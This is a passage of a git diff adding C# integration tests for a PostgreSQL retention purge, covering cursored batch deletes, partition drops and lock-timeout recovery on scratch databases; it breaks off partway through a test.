+        var at = source.IndexOf("DateTime? cursor = null;", StringComparison.Ordinal);
+        Assert.True(at >= 0, "the cursor declaration moved");
+        var body = source[at..Math.Min(source.Length, at + 2500)];
+
+        Assert.Contains("ExecuteCursoredBatchAsync(", body, StringComparison.Ordinal);
+        Assert.Contains("cutoff, cursor,", body, StringComparison.Ordinal);
+        Assert.Contains("cursor = maxDeleted;", body, StringComparison.Ordinal);
+    }
+
+    /* ---- live: the cursor ----------------------------------------------------------------------------- */
+
+    /// <summary>
+    /// Driven exactly as the drain drives it (batch by batch, the cursor taken from each batch's RETURNING): the
+    /// first batch has no cursor, every later batch gets one that never moves backward, the batches delete exactly
+    /// the expired rows in time order, and nothing at or past the horizon is touched.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(Tables))]
+    public async Task EveryBatchAfterTheFirst_StartsAtTheCursor_AndTheCursorOnlyMovesForward(IntervalTable table)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        const int expired = 3_000;
+        const int cap = 500;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await OpenMigratedAsync(scratch, ct);
+            var start = new DateTime(2026, 3, 1, 0, 0, 0, DateTimeKind.Unspecified);
+            await SeedAsync(connection, table, start, expired, 1_000, 0, ct);
+            var cutoff = start.AddSeconds(expired);
+            await SeedAsync(connection, table, cutoff, 10, 1_000, expired, ct);
+
+            DateTime? cursor = null;
+            var batches = 0;
+            var total = 0;
+            while (true)
+            {
+                var (deleted, max) = await DarlingRetention.ExecuteCursoredBatchAsync(
+                    connection, table.Qualified, "first_execution_time", cap, cutoff, cursor, ct);
+                batches++;
+                total += deleted;
+                if (max is not null)
+                {
+                    Assert.True(cursor is null || max >= cursor, "the cursor never moves backward");
+                    cursor = max;
+                }
+
+                if (deleted < cap)
+                {
+                    break;
+                }
+            }
+
+            /* 3,000 rows at 500 per batch: six full batches and the empty one that ends the drain. */
+            Assert.Equal(expired, total);
+            Assert.Equal(expired / cap + 1, batches);
+            Assert.Equal(start.AddSeconds(expired - 1), cursor);
+            Assert.Equal(10, await CountAsync(connection, table.Qualified, "true", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>
+    /// Ties at a batch boundary are harmless: 1,200 rows sharing one timestamp, taken 500 at a time, leave the
+    /// cursor on that same value for every batch (the bound is inclusive), and the drain still empties them.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(Tables))]
+    public async Task RowsTiedAtTheCursor_AreStillDrained(IntervalTable table)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await OpenMigratedAsync(scratch, ct);
+            var tied = new DateTime(2026, 3, 1, 0, 0, 0, DateTimeKind.Unspecified);
+            await SeedAsync(connection, table, tied, 1_200, 0, 0, ct);
+            var cutoff = tied.AddSeconds(1);
+
+            DateTime? cursor = null;
+            var total = 0;
+            while (true)
+            {
+                var (deleted, max) = await DarlingRetention.ExecuteCursoredBatchAsync(
+                    connection, table.Qualified, "first_execution_time", 500, cutoff, cursor, ct);
+                total += deleted;
+                cursor = max ?? cursor;
+                Assert.True(cursor is null || cursor == tied);
+                if (deleted < 500)
+                {
+                    break;
+                }
+            }
+
+            Assert.Equal(1_200, total);
+            Assert.Equal(0, await CountAsync(connection, table.Qualified, "true", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /* ---- live: the drain ------------------------------------------------------------------------------ */
+
+    /// <summary>
+    /// A backlog of 60,000 expired rows spanning six days (more than one batch at the 50,000 ceiling) drains
+    /// through the real sweep in several batches inside the command timeout, and the rows inside the horizon are
+    /// untouched. This pins the drain's shape (the row count, more than one batch, no failure). It is NOT the
+    /// regression proof for #5569: on a fast scratch database the old whole-day statement also clears this
+    /// backlog without timing out, so no timing-free assertion here can fail on it for a real reason (it fails on
+    /// the old code only because the old call sites logged no drain line). The lock-based test below,
+    /// <c>ATimedOutPass_KeepsItsProgress_...</c>, is the one that fails on the old code for the field's reason.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(Tables))]
+    public async Task ABacklogSpanningSeveralDays_DrainsInBatches_AndLeavesRowsInsideTheHorizon(IntervalTable table)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        const int expired = 60_000;
+        const int inside = 100;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await OpenMigratedAsync(scratch, ct);
+            var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+
+            /* Six days, ending two days before the horizon: 60,000 rows 8.64 s apart. */
+            var expiredStart = now.AddDays(-table.HorizonDays - 8);
+            await SeedAsync(connection, table, expiredStart, expired, stepMilliseconds: 8_640, idOffset: 0, ct);
+            /* A day wide of the horizon on the young side, 100 rows a minute apart. */
+            await SeedAsync(connection, table, now.AddDays(-table.HorizonDays + 1), inside, 60_000, expired, ct);
+            Assert.Equal(expired + inside, await CountAsync(connection, table.Qualified, "true", ct));
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var logger = new CapturingTestLogger();
+            var started = DateTime.UtcNow;
+
+            await DarlingRetention.PurgeAsync(postgres, timescaleAvailable: false, logger, ct);
+
+            Assert.True(DateTime.UtcNow - started < TimeSpan.FromSeconds(120), "the drain ran inside the budget");
+            Assert.Equal(0, await CountAsync(connection, table.Qualified, "first_execution_time < now() AT TIME ZONE 'UTC' - " + Days(table.HorizonDays), ct));
+            Assert.Equal(inside, await CountAsync(connection, table.Qualified, "true", ct));
+
+            var drained = logger.Lines.SingleOrDefault(l =>
+                l.Contains($"drained {expired} row(s) from {table.Legacy} in", StringComparison.Ordinal));
+            Assert.True(drained is not null, "the drain line is logged with the exact row count: " + logger.Joined);
+            Assert.False(drained!.Contains("in 1 batch", StringComparison.Ordinal), "60,000 rows take more than one 50,000-row batch: " + drained);
+            Assert.DoesNotContain($"Retention purge failed for {table.Legacy}", logger.Joined, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>
+    /// The horizon keeps microsecond precision: a row exactly AT the cutoff stays (strict <c>&lt;</c>), a row one
+    /// microsecond older goes, one a microsecond younger stays. Neither the cast nor the cap rounds the cutoff.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(Tables))]
+    public async Task TheHorizon_KeepsMicrosecondPrecision(IntervalTable table)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await OpenMigratedAsync(scratch, ct);
+
+            /* .123456 s = 1,234,560 ticks; one microsecond = 10 ticks. */
+            var cutoff = new DateTime(2026, 3, 1, 12, 0, 0, DateTimeKind.Unspecified).AddTicks(1_234_560);
+            await SeedAtAsync(connection, table, cutoff.AddTicks(-10), 1, ct);
+            await SeedAtAsync(connection, table, cutoff, 2, ct);
+            await SeedAtAsync(connection, table, cutoff.AddTicks(10), 3, ct);
+
+            var (deleted, _) = await DarlingRetention.ExecuteCursoredBatchAsync(
+                connection, table.Qualified, "first_execution_time", 100, cutoff, cursor: null, ct);
+            Assert.Equal(1, deleted);
+
+            var survivors = await IdsAsync(connection, table, ct);
+            Assert.Equal(new long[] { 2, 3 }, survivors);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>
+    /// The purge's plan against the migrated schema, for both interval tables and both forms (first batch, and a
+    /// later batch bounded by the cursor): an ordered scan of the table's <c>first_execution_time</c> index, no
+    /// Seq Scan and no Sort. Rows are inserted in time order, as ingest does, so the heap and the index agree
+    /// and the planner prices the capped index scan the way it does on a real store; the DELETE is explained
+    /// inside a transaction and rolled back so both forms see the same rows.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(Tables))]
+    public async Task ThePurgesPlan_IsAnOrderedIndexScan_NoSeqScan_NoSort(IntervalTable table)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await OpenMigratedAsync(scratch, ct);
+            var start = new DateTime(2026, 1, 1, 0, 0, 0, DateTimeKind.Unspecified);
+            await SeedAsync(connection, table, start, 200_000, 1_000, 0, ct);
+            await using (var analyze = new NpgsqlCommand($"VACUUM ANALYZE {table.Qualified}", connection))
+            {
+                await analyze.ExecuteNonQueryAsync(ct);
+            }
+
+            foreach (var hasCursor in new[] { false, true })
+            {
+                var sql = DarlingRetention.CursoredRowCappedDeleteSql(
+                    table.Qualified, "first_execution_time", DarlingRetention.IntervalDeleteRowCap, hasCursor);
+
+                await using var transaction = await connection.BeginTransactionAsync(ct);
+                await using var command = new NpgsqlCommand("EXPLAIN (ANALYZE, BUFFERS) " + sql, connection, transaction);
+                command.Parameters.AddWithValue(start.AddSeconds(100_000));
+                if (hasCursor)
+                {
+                    command.Parameters.AddWithValue(start.AddSeconds(30_000));
+                }
+
+                var plan = new System.Text.StringBuilder();
+                await using (var reader = await command.ExecuteReaderAsync(ct))
+                {
+                    while (await reader.ReadAsync(ct))
+                    {
+                        plan.AppendLine(reader.GetString(0));
+                    }
+                }
+
+                await transaction.RollbackAsync(ct);
+
+                var text = plan.ToString();
+                Assert.DoesNotContain("Seq Scan", text, StringComparison.Ordinal);
+                Assert.DoesNotContain("Sort", text, StringComparison.Ordinal);
+                Assert.Contains($"idx_{table.Name}_first_exec", text, StringComparison.Ordinal);
+
+                /* The cursor has to be an INDEX bound, not a Filter applied after a scan from the bottom of the
+                   index: that would pass every assert above and bring back the O(n^2) re-read the cursor exists
+                   to prevent (#5569). So the lower bound (">=") must sit on an "Index Cond" line of the ordered
+                   scan, never on a "Filter" line; and the first batch, which has no cursor, has no lower bound. */
+                var planLines = text.Split('\n');
+                var indexCondLines = planLines.Where(l => l.Contains("Index Cond:", StringComparison.Ordinal)).ToArray();
+                Assert.NotEmpty(indexCondLines);
+                Assert.DoesNotContain(planLines, l =>
+                    l.Contains("Filter:", StringComparison.Ordinal) && l.Contains("first_execution_time", StringComparison.Ordinal));
+                if (hasCursor)
+                {
+                    Assert.Contains(indexCondLines, l =>
+                        l.Contains(">=", StringComparison.Ordinal) && l.Contains("first_execution_time", StringComparison.Ordinal));
+                }
+                else
+                {
+                    Assert.DoesNotContain(indexCondLines, l => l.Contains(">=", StringComparison.Ordinal));
+                }
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /* ---- live: the timeout ---------------------------------------------------------------------------- */
+
+    /// <summary>
+    /// A pass whose batch cannot finish (a second connection holds a row lock on the 1,200th-oldest row, inside the first day, and the
+    /// pass's connections carry a 500 ms <c>statement_timeout</c>, which surfaces as the same SQLSTATE 57014 a
+    /// command timeout does): the cap halves from the ceiling down to the floor, the first 1,000 rows (all
+    /// before the locked row) are removed and stay removed, the next batch fails at the floor, and the failure
+    /// is logged with the rows reached. The table is consistent (2,000 expired rows less the 1,000 committed,
+    /// the rows inside the horizon intact). Once the lock is released a later pass finishes the drain.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(Tables))]
+    public async Task ATimedOutPass_KeepsItsProgress_LogsTheRowsReached_AndALaterPassFinishes(IntervalTable table)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        const int expired = 2_000;
+        const int inside = 50;
+        /* Inside the OLDEST DAY (rows 1 to 1,440 at one a minute, the old whole-day statement's first slice) but
+           past the 1,000-row floor batch. The old code's first slice then contains the locked row, times out, rolls
+           back and removes NOTHING on every pass: the #5569 field signature. The new code still commits rows 1 to
+           1,000 (all before the locked row) and fails only at the floor. */
+        const int lockedRow = 1_200;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await OpenMigratedAsync(scratch, ct);
+            var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+
+            await SeedAsync(connection, table, now.AddDays(-table.HorizonDays - 3), expired, 60_000, 0, ct);
+            await SeedAsync(connection, table, now.AddDays(-table.HorizonDays + 1), inside, 60_000, expired, ct);
+
+            await using var locker = new NpgsqlConnection(scratch.ConnectionString);
+            await locker.OpenAsync(ct);
+            await using var transaction = await locker.BeginTransactionAsync(ct);
+            await using (var hold = new NpgsqlCommand(
+                $"SELECT 1 FROM {table.Qualified} WHERE query_id = {lockedRow} FOR UPDATE", locker, transaction))
+            {
+                Assert.Equal(1, await hold.ExecuteScalarAsync(ct));
+            }
+
+            var impatient = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { Options = "-c statement_timeout=500" };
+            await using (var timingOut = NpgsqlDataSource.Create(impatient.ConnectionString))
+            {
+                var logger = new CapturingTestLogger();
+                await DarlingRetention.PurgeAsync(timingOut, timescaleAvailable: false, logger, ct);
+
+                /* The data first, because it is the proof: exactly the committed first batch is gone and the locked
+                   row's batch rolled back. The old whole-day statement removes 0 rows here (its first slice holds
+                   the locked row), so this fails on it with 2,000 left instead of 1,000. */
+                Assert.Equal(expired - 1_000, await CountAsync(
+                    connection, table.Qualified, "first_execution_time < now() AT TIME ZONE 'UTC' - " + Days(table.HorizonDays), ct));
+                Assert.Equal(inside, await CountAsync(
+                    connection, table.Qualified, "first_execution_time >= now() AT TIME ZONE 'UTC' - " + Days(table.HorizonDays), ct));
+
+                /* The halving is logged, and the failure carries the rows that did land. */
+                Assert.Contains("retrying at", logger.Joined, StringComparison.Ordinal);
+                Assert.Contains($"Purge batch of {table.Legacy} at cap {DarlingRetention.IntervalDeleteRowCap}", logger.Joined, StringComparison.Ordinal);
+                Assert.Contains(
+                    $"Retention purge failed for {table.Legacy} after removing 1000 row(s)",
+                    logger.Joined, StringComparison.Ordinal);
+            }
+
+            await transaction.RollbackAsync(ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var later = new CapturingTestLogger();
+            await DarlingRetention.PurgeAsync(postgres, timescaleAvailable: false, later, ct);
+
+            Assert.Equal(0, await CountAsync(
+                connection, table.Qualified, "first_execution_time < now() AT TIME ZONE 'UTC' - " + Days(table.HorizonDays), ct));
+            Assert.Equal(inside, await CountAsync(connection, table.Qualified, "true", ct));
+            Assert.DoesNotContain($"Retention purge failed for {table.Legacy}", later.Joined, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /* ---- helpers -------------------------------------------------------------------------------------- */
+
+    private static string Days(int days) => $"INTERVAL '{days.ToString(CultureInfo.InvariantCulture)} days'";
+
+    private static async Task<NpgsqlConnection> OpenMigratedAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task<long> CountAsync(NpgsqlConnection connection, string table, string predicate, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand($"SELECT COUNT(*) FROM {table} WHERE {predicate}", connection);
+        return (long)(await command.ExecuteScalarAsync(ct))!;
+    }
+
+    private static async Task<long[]> IdsAsync(NpgsqlConnection connection, IntervalTable table, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand($"SELECT query_id FROM {table.Qualified} ORDER BY query_id", connection);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var ids = new List<long>();
+        while (await reader.ReadAsync(ct))
+        {
+            ids.Add(reader.GetInt64(0));
+        }
+
+        return ids.ToArray();
+    }
+
+    private static Task SeedAtAsync(NpgsqlConnection connection, IntervalTable table, DateTime at, long queryId, CancellationToken ct) =>
+        SeedAsync(connection, table, at, 1, 0, queryId - 1, ct);
+
+    /// <summary>
+    /// <paramref name="count"/> rows, <c>query_id</c> = <paramref name="idOffset"/> + 1..count, whose
+    /// <c>first_execution_time</c> is <paramref name="start"/> plus <c>(id - 1)</c> steps of
+    /// <paramref name="stepMilliseconds"/>. Distinct ids and times keep the unique index and the batch order
+    /// deterministic.
+    /// </summary>
+    private static async Task SeedAsync(
+        NpgsqlConnection connection, IntervalTable table, DateTime start, int count, int stepMilliseconds, long idOffset, CancellationToken ct)
+    {
+        var isWide = string.Equals(table.Name, QueryStoreIntervalWide.TableName, StringComparison.Ordinal);
+        var sql = isWide
+            ? @"
+INSERT INTO collect.query_store_interval_wide
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time, module_name, query_text, query_hash, execution_count, replica_role, runtime_stats_interval_id)
+SELECT $1 + (g - 1) * ($3 * INTERVAL '1 millisecond') + INTERVAL '1 minute', 1, 'db', g + $4, 1, 'exec',
+       $1 + (g - 1) * ($3 * INTERVAL '1 millisecond'), $1 + (g - 1) * ($3 * INTERVAL '1 millisecond') + INTERVAL '1 minute',
+       'mod', 'select 1', 'qh', 1, NULL, g + $4
+FROM generate_series(1, $2) AS g;"
+            : @"
+INSERT INTO collect.query_store_interval_latest
+(server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time, collection_time, query_plan_hash, query_hash, execution_count, avg_cpu_time_us, avg_duration_us, last_execution_time, is_forced_plan, force_failure_count, query_text)
+SELECT 1, 'db', g + $4, 1, NULL, g + $4,
+       $1 + (g - 1) * ($3 * INTERVAL '1 millisecond'), $1 + (g - 1) * ($3 * INTERVAL '1 millisecond') + INTERVAL '1 minute',
+       'ph', 'qh', 1, 1, 1, $1 + (g - 1) * ($3 * INTERVAL '1 millisecond') + INTERVAL '1 minute',
+       false, 0, 'select 1'
+FROM generate_series(1, $2) AS g;";
+
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = start });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Integer, Value = count });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Integer, Value = stepMilliseconds });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Bigint, Value = idOffset });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static string ReadRetentionSource(
+        [System.Runtime.CompilerServices.CallerFilePath] string thisFile = "")
+    {
+        var relative = System.IO.Path.Combine(
+            "Darling", "PerformanceMonitor.Darling.Service", "DarlingRetention.cs");
+        for (var dir = new System.IO.DirectoryInfo(System.IO.Path.GetDirectoryName(thisFile)!);
+             dir is not null; dir = dir.Parent)
+        {
+            var candidate = System.IO.Path.Combine(dir.FullName, relative);
+            if (System.IO.File.Exists(candidate))
+            {
+                return System.IO.File.ReadAllText(candidate);
+            }
+        }
+
+        throw new System.IO.FileNotFoundException("DarlingRetention.cs not found above " + thisFile);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalRetentionLiveTests.cs b/Darling/Darling.Tests/QueryStoreIntervalRetentionLiveTests.cs
new file mode 100644
index 0000000000..30598e3f9c
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalRetentionLiveTests.cs
@@ -0,0 +1,326 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.QueryStoreIntervalRetentionTestKit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The 24 h retention of the day-partitioned Query Store interval tables (#5571), through
+/// <see cref="DarlingRetention.PurgeIntervalTableAsync"/> on a real store that has been through the migration rungs and
+/// the promotion: whole expired days are dropped and a partial day is kept, the legacy table is row-purged by name and
+/// dropped only after promotion once its bound has expired, a drop that hits a lock timeout gives up and succeeds on the
+/// next pass, the DEFAULT partition loses only rows before the cutoff, and a daily partition's row survives a purge of
+/// a legacy row that has the same <c>ctid</c>. The step-level drops are in <see cref="QueryStoreIntervalPartitionsLiveTests"/>;
+/// these go through the retention entry point the sweep calls.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and works entirely inside it, so it cannot race
+   live collection. */
+public sealed class QueryStoreIntervalRetentionLiveTests
+{
+    private static Task<DarlingRetention.IntervalPartitionPurge> PurgeAsync(
+        NpgsqlDataSource postgres, QueryStoreIntervalPartitions.IntervalTable table, DateTime utcNow, ILogger logger, System.Threading.CancellationToken ct) =>
+        DarlingRetention.PurgeIntervalTableAsync(postgres, table, utcNow, logger, null, ct);
+
+    /* Promoted far enough back that the legacy table's bound S and the first day partitions are all older than the cutoff:
+       a whole day exists that has fully expired, and the day holding the cutoff is a partial one. */
+    private static async Task AssertWholeDayDroppedAndPartialDayKeptAsync(QueryStoreIntervalPartitions.IntervalTable table)
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var logger = new ListLogger();
+
+        await PromoteAsync(connection, table, Now.AddDays(-(table.HorizonDays + 4)), logger, ct);
+        await QueryStoreIntervalPartitions.CreateAheadAsync(connection, table, Now, logger, ct);
+
+        var cutoff = Now.AddDays(-table.HorizonDays);
+        var wholeDay = QueryStoreIntervalPartitions.DayStart(cutoff).AddDays(-1);   /* ends at the cutoff's midnight: expired */
+        var partialDay = QueryStoreIntervalPartitions.DayStart(cutoff);             /* straddles the cutoff: kept */
+        Assert.True(await ExistsAsync(connection, table.DayPartition(wholeDay), ct), "the whole-day partition exists before the purge");
+
+        await InsertAsync(connection, table, wholeDay.AddHours(23), 1, ct);
+        await InsertAsync(connection, table, partialDay.AddHours(1), 2, ct);        /* before the cutoff, in a partial day */
+        await InsertAsync(connection, table, partialDay.AddHours(20), 3, ct);       /* after the cutoff, same day */
+        Assert.Equal(table.DayPartition(wholeDay), await PartitionOfAsync(connection, table, 1, ct));
+        Assert.Equal(table.DayPartition(partialDay), await PartitionOfAsync(connection, table, 2, ct));
+
+        var result = await PurgeAsync(postgres, table, Now, logger, ct);
+
+        Assert.Equal(0, result.Failed);
+        Assert.False(await ExistsAsync(connection, table.DayPartition(wholeDay), ct), "the whole expired day is dropped");
+        Assert.True(await ExistsAsync(connection, table.DayPartition(partialDay), ct), "the partial day is kept");
+        Assert.Equal(2L, await CountAsync(connection, $"SELECT count(*) FROM {table.Parent}", ct));
+        Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM {table.Parent} WHERE query_id = 2", ct));   /* the expired row of a partial day stays until its day ends */
+        Assert.False(logger.HasAtLeast(LogLevel.Warning), logger.Dump());
+    }
+
+    [Fact]
+    public Task RetentionDropsAWholeExpiredDay_AndKeepsAPartialOne_Wide() => AssertWholeDayDroppedAndPartialDayKeptAsync(Wide);
+
+    [Fact]
+    public Task RetentionDropsAWholeExpiredDay_AndKeepsAPartialOne_Latest() => AssertWholeDayDroppedAndPartialDayKeptAsync(Latest);
+
+    [Fact]
+    public async Task TheLegacyTable_IsRowPurgedByName_ThenDroppedAfterPromotionOnceItsBoundHasExpired()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var logger = new ListLogger();
+
+        foreach (var table in QueryStoreIntervalPartitions.All)
+        {
+            /* Legacy holds one expired row (20 d old) and one live row (6 d old, before S); promoted 5 days ago, so S = 10-05. */
+            await InsertAsync(connection, table, Now.AddDays(-20), 1, ct);
+            await InsertAsync(connection, table, Now.AddDays(-6), 2, ct);
+            await PromoteAsync(connection, table, Now.AddDays(-5), logger, ct);
+            Assert.Equal(table.Legacy, await PartitionOfAsync(connection, table, 1, ct));
+            Assert.Equal(table.Legacy, await PartitionOfAsync(connection, table, 2, ct));
+
+            /* S (10-05) is after the cutoff (wide 9-29, latest 9-23): the legacy table is not droppable yet, but its expired row is row-purged. */
+            var first = await PurgeAsync(postgres, table, Now, logger, ct);
+            Assert.Equal(0, first.Failed);
+            Assert.Equal(1, first.RowsDeleted);
+            Assert.True(await ExistsAsync(connection, table.Legacy, ct), "the legacy table still holds a live row");
+            Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM {table.Parent} WHERE query_id = 1", ct));
+            Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM {table.Parent} WHERE query_id = 2", ct));
+
+            /* Once S is at or below the cutoff the whole legacy table goes in one DROP. */
+            var later = Now.AddDays(table.HorizonDays + 5);
+            var drop = await PurgeAsync(postgres, table, later, logger, ct);
+            Assert.Equal(0, drop.Failed);
+            Assert.False(await ExistsAsync(connection, table.Legacy, ct), "the legacy table is dropped after promotion once S has expired");
+            Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM {table.Parent} WHERE query_id = 2", ct));
+
+            /* And a purge with no legacy table left skips it without an error or a warning. */
+            var again = await PurgeAsync(postgres, table, later, logger, ct);
+            Assert.Equal(0, again.Failed);
+        }
+
+        Assert.False(logger.HasAtLeast(LogLevel.Warning), logger.Dump());
+    }
+
+    [Fact]
+    public async Task TheLegacyTable_IsNeverDroppedBeforePromotion_BecauseItHoldsEveryRow()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var logger = new ListLogger();
+
+        foreach (var table in QueryStoreIntervalPartitions.All)
+        {
+            await InsertAsync(connection, table, Now.AddDays(-30), 1, ct);
+            await InsertAsync(connection, table, Now.AddDays(-1), 2, ct);
+
+            /* Armed and validated but not promoted: the legacy table is still the unbounded partition holding every row. */
+            Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ArmAsync(connection, table, Now, logger, ct)).Outcome);
+            Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ValidateAsync(connection, table, Now, logger, ct)).Outcome);
+            var state = await QueryStoreIntervalPartitions.ReadStateAsync(connection, table, ct);
+            Assert.False(state.Promoted);
+            Assert.True(state.LegacyUnbounded);
+
+            /* A utcNow far enough ahead that even a bounded legacy table would be expired. The drop must still not happen. */
+            var farFuture = Now.AddDays(table.HorizonDays + 400);
+            var result = await PurgeAsync(postgres, table, farFuture, logger, ct);
+
+            Assert.Equal(0, result.Failed);
+            Assert.True(await ExistsAsync(connection, table.Legacy, ct), "the legacy table survives a purge before promotion");
+            Assert.Contains(table.Legacy, await PartitionNamesAsync(connection, table, ct));
+            Assert.False((await QueryStoreIntervalPartitions.ReadStateAsync(connection, table, ct)).Promoted);
+            /* The row-capped purge of the legacy table still removed what the cutoff expired: both rows are older than it. */
+            Assert.Equal(2, result.RowsDeleted);
+        }
+
+        Assert.False(logger.HasAtLeast(LogLevel.Warning), logger.Dump());
+    }
+
+    [Fact]
+    public async Task ADropThatHitsALockTimeout_GivesUp_AndSucceedsOnTheNextPass()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var blocker = await OpenStoreAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var logger = new ListLogger();
+        var table = Wide;
+
